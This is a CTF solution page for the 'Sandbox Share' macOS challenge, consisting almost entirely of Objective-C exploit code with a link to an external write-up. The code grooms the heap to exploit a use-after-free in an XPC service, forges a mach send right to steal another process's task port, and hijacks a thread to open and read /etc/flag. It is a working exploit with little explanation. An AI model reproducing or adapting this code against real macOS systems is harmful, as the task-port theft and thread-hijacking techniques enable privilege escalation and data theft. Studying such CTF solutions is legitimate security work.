? Sandbox Share================
Solution--------
The detailed complete solution can be found on [Synacktiv blog](https://www.synacktiv.com/publications/macos-xpc-exploitation-sandbox-share-case-study.html).
Exploit code------------
The code is not really clean but hey, it's a CTF solution :)
```objc#import <Cocoa/Cocoa.h>#include <stdio.h>#include <string.h>#include <stdlib.h>#include <errno.h>#include <sys/mman.h>#include <xpc/xpc.h>#include <mach/mach.h>#include <mach/mach_vm.h>#include <dlfcn.h>
#define EBFE ((uint8_t[]){0xeb, 0xfe})
#define NB_ENTRIES 200#define OBJECT_STRING_SIZE 0x220#define STRING_OBJECT_SIZE 48#define DATA_PREFIX_SIZE 0x40
#define CHECK(op) \    do { \        kern_return_t __kern_return_value = op; \        if(__kern_return_value != KERN_SUCCESS) { \            printf("[-] operation \"%s\" (line %d) FAILED (%d)\n", #op, __LINE__, __kern_return_value); \            return 1; \        } \    } while (0)
#define FIND_GADGET(gadget) \    uint64_t addr_##gadget = (uint64_t)memmem(shared_cache_base, shared_cache_size, gadget, sizeof(gadget)); \    if (addr_##gadget == 0) { \        printf("[-] unable to find %s\n", #gadget); \        return 1; \    } \    printf("[+] gadget %s: %llX\n", #gadget, addr_##gadget);
extern char **environ;
// ------------------ imports ------------------// These XPC functions are private for some reason... // But Linus helped us out ;)
// write mach ports into xpc dictionariesextern void xpc_dictionary_set_mach_send(xpc_object_t dictionary,                                        const char* name,                                        mach_port_t port);
// get mach ports from xpc objectsextern mach_port_t xpc_mach_send_get_right(xpc_object_t value);
extern xpc_object_t xpc_mach_send_create(mach_port_t);extern size_t malloc_size(void *);
// ------------------ globals ------------------// #define XPC_SERVICE_NAME    "com.alles.sandbox_share"
xpc_connection_t connection;char *client_id = NULL;
// ------------------ code ------------------int register_client(task_port_t task_port) {    xpc_object_t message, reply;
    message = xpc_dictionary_create(NULL, NULL, 0);    xpc_dictionary_set_uint64(message, "op", 1);    xpc_dictionary_set_mach_send(message, "task", task_port);     reply = xpc_connection_send_message_with_reply_sync(connection, message);
    if(xpc_dictionary_get_int64(reply, "status")) {        const char *error = xpc_dictionary_get_string(reply, "error");        printf("[-] Error register_client: %s\n", error);        return -1;    }
    const char *result = xpc_dictionary_get_string(reply, "client_id");     client_id = calloc(1, 9);    strncpy(client_id, result, 9);
    return 0;}
uint64_t create_entry(xpc_object_t object, uint64_t token_index, char *UIDs) {    xpc_object_t message, reply;
    message = xpc_dictionary_create(NULL, NULL, 0);    xpc_dictionary_set_uint64(message, "op", 2);    xpc_dictionary_set_string(message, "client_id", client_id);    xpc_dictionary_set_value(message, "data", object);    xpc_dictionary_set_string(message, "UIDs", UIDs);    xpc_dictionary_set_uint64(message, "token_index", token_index);     reply = xpc_connection_send_message_with_reply_sync(connection, message);    // printf("create_entry reply: \n%s\n", xpc_copy_description(reply));
    if(xpc_dictionary_get_int64(reply, "status") != 0) {        const char *error = xpc_dictionary_get_string(reply, "error");        printf("[-] Error create_entry: %s\n", error);        return -1;    }
    return xpc_dictionary_get_uint64(reply, "index");}
xpc_object_t get_entry(uint64_t index) {    xpc_object_t message, reply;
    message = xpc_dictionary_create(NULL, NULL, 0);    xpc_dictionary_set_uint64(message, "op", 3);    xpc_dictionary_set_string(message, "client_id", client_id);    xpc_dictionary_set_uint64(message, "index", index);
    reply = xpc_connection_send_message_with_reply_sync(connection, message);    // printf("get_entry reply: \n%s\n", xpc_copy_description(reply));
    if(xpc_dictionary_get_int64(reply, "status") != 0) {        const char *error = xpc_dictionary_get_string(reply, "error");        printf("[-] Error get_entry: %s\n", error);        return (xpc_object_t)-1;    }
    return xpc_dictionary_get_value(reply, "data");}
int delete_entry(uint64_t index) {    xpc_object_t message, reply;
    message = xpc_dictionary_create(NULL, NULL, 0);    xpc_dictionary_set_uint64(message, "op", 4);    xpc_dictionary_set_string(message, "client_id", client_id);    xpc_dictionary_set_uint64(message, "index", index);
    reply = xpc_connection_send_message_with_reply_sync(connection, message);
    if(xpc_dictionary_get_int64(reply, "status") != 0) {        const char *error = xpc_dictionary_get_string(reply, "error");        printf("[-] Error delete_entry: %s\n", error);        return -1;    }
    return 0;}
uint64_t upload_data() {    mach_msg_type_number_t info_out_cnt = TASK_EVENTS_INFO_COUNT;    task_events_info_data_t task_events_info = {0};    kern_return_t kr = -1;    xpc_object_t data;
    kr = task_info(mach_task_self_, TASK_EVENTS_INFO, (task_info_t)&task_events_info, &info_out_cnt);    if(kr != KERN_SUCCESS) {        printf("[-] Failed to get task info! \nError (%d): %s\n", kr, mach_error_string(kr));        return (uint64_t)-1;    }    data = xpc_data_create(&task_events_info, sizeof(task_events_info_data_t));     return create_entry(data, 1, "0");}
struct dyld_cache_header{    char        magic[16];              // e.g. "dyld_v0     ppc"    uint32_t    mappingOffset;          // file offset to first dyld_cache_mapping_info    uint32_t    mappingCount;           // number of dyld_cache_mapping_info entries    uint32_t    imagesOffset;           // file offset to first dyld_cache_image_info    uint32_t    imagesCount;            // number of dyld_cache_image_info entries    uint64_t    dyldBaseAddress;        // base address of dyld when cache was built    uint64_t    codeSignatureOffset;    // file offset of code signature blob    uint64_t    codeSignatureSize;      // size of code signature blob (zero means to end of file)    uint64_t    slideInfoOffset;        // file offset of kernel slid info    uint64_t    slideInfoSize;          // size of kernel slid info};
struct dyld_cache_mapping_info {    uint64_t    address;    uint64_t    size;    uint64_t    fileOffset;    uint32_t    maxProt;    uint32_t    initProt;};
void *find_shared_cache_code_base(uint64_t *mapping_size) {    mach_vm_address_t address = 0;
    while (1) {        mach_vm_size_t size = 0;        vm_region_submap_info_data_64_t info;        uint32_t depth = 0;        mach_msg_type_number_t count = VM_REGION_SUBMAP_INFO_COUNT_64;        kern_return_t ret = mach_vm_region_recurse(mach_task_self(), &address, &size, &depth, (vm_region_recurse_info_t)&info, &count);        if (ret != KERN_SUCCESS)            break;        address += size;        if (! info.is_submap)            continue;        count = VM_REGION_SUBMAP_INFO_COUNT_64;        mach_vm_size_t sub_size = 0;        mach_vm_address_t sub_address = address - size;        depth = 1;        ret = mach_vm_region_recurse(mach_task_self(), &sub_address, &sub_size, &depth, (vm_region_recurse_info_t)&info, &count);        if (ret != KERN_SUCCESS)            break;
        if (memcmp((void *)sub_address, "dyld_v1", 7) != 0)            continue;        struct dyld_cache_header *cache = (void *)sub_address;        struct dyld_cache_mapping_info *mapping_info = (void *)(sub_address + cache->mappingOffset);        *mapping_size = mapping_info->size;        return (void *)sub_address;    }    return NULL;}
int main (int argc, const char * argv[]) {    uint64_t index;
    const char *service_name = argv[1];    printf("[i] Using service: %s\n", service_name);
    connection = xpc_connection_create_mach_service(service_name, NULL, 0);    if (connection == NULL) {        printf("[-] ERROR: cannot create connection\n");        exit(1);    }
    printf("[+] Connected to: %s\n", service_name);
    xpc_connection_set_event_handler(connection, ^(xpc_object_t response) {        xpc_type_t t = xpc_get_type(response);        if (t == XPC_TYPE_ERROR){            printf("[-] ERROR: %s\n", xpc_dictionary_get_string(response, XPC_ERROR_KEY_DESCRIPTION));            exit(-1);        }    });    xpc_connection_resume(connection);    puts("[+] Event handler registered!");
    if (argc == 2) {        register_client(mach_task_self_);        printf("[+] Got client_id: %s\n", client_id);
        // first let's clean the heap by creating a LOT of tiny allocations        xpc_object_t data = xpc_dictionary_create(NULL, NULL, 0);        for (uint32_t i = 0; i < 100000; i++)            xpc_connection_send_message(connection, data);
        // now the heap should be "clean"...        // let's create our UAF object        // we will use a string as the container is alloc BEFORE the object        uint64_t entry_id = 0;
        char object_string[OBJECT_STRING_SIZE];        memset(object_string, 'C', OBJECT_STRING_SIZE);        object_string[OBJECT_STRING_SIZE - 1] = 0;
        // create few entries to empty the caches..
        for (uint32_t i = 0; i < 100; i++)            create_entry(xpc_string_create(object_string), 7, "0");
        // create the victim entry        char uid_str[20];        snprintf(uid_str, sizeof(uid_str), "%d", getuid());        entry_id = create_entry(xpc_string_create(object_string), 1, uid_str);        printf("[+] Got entry: %lld\n", entry_id);        char entry_str[20];        snprintf(entry_str, sizeof(entry_str), "%lld", entry_id);
        // alloc some data after to close the holes...        for (uint32_t i = 0; i < 10; i++) {            xpc_connection_send_message(connection, data);        }
        const char *new_argv[] = {argv[0], argv[1], client_id, entry_str, NULL};        execve(new_argv[0], (char *const *)new_argv, environ);        return 0;    } else {        uint64_t entry_id = (uint64_t)atoll(argv[3]);        client_id = (char *)argv[2];        printf("[+] In execve'd process\n");        printf("[+] Got client_id: %s\n", client_id);        printf("[+] Got entry %llu\n", entry_id);
        // register a new client...        register_client(mach_task_self_);        const char *new_client_id = client_id;
        // create and free a few entries to make some room for our future allocations        uint64_t entries[NB_ENTRIES];        for (uint32_t i = 0; i < NB_ENTRIES; i++)            entries[i] = create_entry(xpc_data_create("DATA", 4), 1, "0");
        for (uint32_t i = 0; i < NB_ENTRIES; i++)            delete_entry(entries[i]);
        // trigger the first free        client_id = (char *)argv[2];        delete_entry(entry_id);
        // try to reuse with data...        client_id = (char *)new_client_id;        uint8_t reuse_data[(STRING_OBJECT_SIZE+OBJECT_STRING_SIZE-DATA_PREFIX_SIZE)];        memset(reuse_data, 'C', sizeof(reuse_data));        xpc_object_t send_right = xpc_mach_send_create(mach_task_self());        memcpy(&reuse_data[OBJECT_STRING_SIZE-DATA_PREFIX_SIZE], send_right, malloc_size(send_right));
        if (malloc_size(send_right) > STRING_OBJECT_SIZE) {            printf("[-] send right too big!");            return 1;        }
        memcpy(&reuse_data[OBJECT_STRING_SIZE-DATA_PREFIX_SIZE], send_right, malloc_size(send_right));
        for (uint32_t i = 0 ; i < NB_ENTRIES; i++)            entries[i] = create_entry(xpc_data_create(reuse_data, sizeof(reuse_data)), 7, "0");
        // trigger the second free        // client_id = (char *)argv[2];        // exploit(entry_id);
        client_id = (char *)new_client_id;        xpc_object_t uaf_object = get_entry(entry_id);        if (uaf_object == (xpc_object_t)-1) {            printf("[-] get_entry FAILED\n");            return 1;        }        const char *desc = xpc_copy_description(uaf_object);        printf("[+] reused entry: %s\n", desc);
        mach_port_t server_port = xpc_mach_send_get_right(uaf_object);        mach_port_name_array_t names;        mach_port_type_array_t types;        mach_msg_type_number_t count;
        CHECK(mach_port_names(server_port, &names, &count, &types, &count));        mach_port_t victim_port = MACH_PORT_NULL;        for (uint32_t i = 0; i < count; i++) {            if ((types[i] == MACH_PORT_TYPE_SEND) && (names[i] != mach_task_self())) {                mach_port_t port;                mach_msg_type_name_t right_type;                CHECK(mach_port_extract_right(server_port, names[i], MACH_MSG_TYPE_COPY_SEND, &port, &right_type));
                natural_t port_type;                mach_vm_address_t object_addr;                CHECK(mach_port_kobject(mach_task_self(), port, &port_type, &object_addr));                if (port_type == 2) {                    pid_t pid;                    CHECK(pid_for_task(port, &pid));                    if (pid != getpid()) {                        if (victim_port != MACH_PORT_NULL)                            printf("[-] Found more than one victim oO\n");                        victim_port = port;                        printf("[+] Found a victim: %d\n", pid);                    }                }
            }        }
        if (victim_port == MACH_PORT_NULL) {            printf("[-] unable to find victim :/\n");            return 1;        }
        thread_act_array_t threads;        uint nb_threads;        CHECK(task_threads(victim_port, &threads, &nb_threads));
        uint64_t shared_cache_size;        void *shared_cache_base = find_shared_cache_code_base(&shared_cache_size);        FIND_GADGET(EBFE);
        mach_port_t thread = threads[0];        x86_thread_state64_t state;        mach_msg_type_number_t stateCnt = x86_THREAD_STATE64_COUNT;
        CHECK(thread_suspend(thread));        CHECK(thread_abort(thread));
        CHECK(thread_get_state(thread, x86_THREAD_STATE64, (thread_state_t)&state, &stateCnt));
        state.__rsp = (state.__rsp & ~0xFFFull) - 0x8; // keep the stack aligned...        CHECK(mach_vm_write(victim_port, (vm_address_t)state.__rsp, (vm_address_t)&addr_EBFE, sizeof(addr_EBFE)));
        CHECK(mach_vm_write(victim_port, (vm_address_t)state.__rsp + 8, (vm_address_t)"/etc/flag", 10));        //  RDI, RSI, RDX, RCX, R8, R9        state.__rdi = state.__rsp + 8;        state.__rsi = O_RDONLY;        state.__rip = (uint64_t)dlsym(RTLD_DEFAULT, "open");        CHECK(thread_set_state(thread, x86_THREAD_STATE64, (thread_state_t)&state, x86_THREAD_STATE64_COUNT));        CHECK(thread_resume(thread));        do {            usleep(1000);            CHECK(thread_suspend(thread));            CHECK(thread_get_state(thread, x86_THREAD_STATE64, (thread_state_t)&state, &stateCnt));            if (state.__rip == addr_EBFE)                break;        } while (1);        state.__rsp -= 8;
        printf("[+] fd: %llX\n", state.__rax);        state.__rdi = state.__rax;        state.__rsi = state.__rsp + 8;        state.__rdx = 1024;        state.__rip = (uint64_t)dlsym(RTLD_DEFAULT, "read");        CHECK(thread_set_state(thread, x86_THREAD_STATE64, (thread_state_t)&state, x86_THREAD_STATE64_COUNT));        CHECK(thread_resume(thread));        do {            usleep(1000);            CHECK(thread_suspend(thread));            CHECK(thread_get_state(thread, x86_THREAD_STATE64, (thread_state_t)&state, &stateCnt));            if (state.__rip == addr_EBFE)                break;        } while (1);        state.__rsp -= 8;
        size_t flag_len = state.__rax;        char flag[flag_len + 1];
        mach_vm_size_t read_size;        CHECK(mach_vm_read_overwrite(victim_port, (vm_address_t)state.__rsp + 8, flag_len, (mach_vm_address_t)&flag, &read_size));
        if (flag[flag_len-1] == '\n')            flag[flag_len-1] = 0;        else            flag[flag_len] = 0;
        printf("[+] flag: \"%s\"\n", flag);    }
    xpc_release(connection);    return 0;}```